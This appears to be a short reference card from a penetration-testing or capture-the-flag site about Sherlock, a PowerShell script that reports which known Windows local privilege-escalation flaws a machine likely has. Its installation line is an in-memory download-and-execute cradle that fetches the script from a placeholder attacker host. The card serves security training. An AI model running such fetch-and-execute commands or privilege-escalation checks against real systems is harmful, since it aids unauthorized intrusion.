Sherlock
Hunts for local Windows privilege-escalation vulns from PowerShell.
A PowerShell script that checks a Windows box for known local privilege-escalation vulnerabilities (MS10-015, MS16-032, etc.) and reports which it is likely vulnerable to.
Family Privilege escalation
Flags Find-AllVulns
Concepts Windows kernel exploit
Installation
# Sherlock.ps1 looks for local Windows privesc CVEs (successor: Watson). Pull it into
# memory from Kali and run it:
IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/Sherlock.ps1'); Find-AllVulnsUseful commands
Appears in
Some machines where its use is documented; not an exhaustive list.
- BastardHackTheBox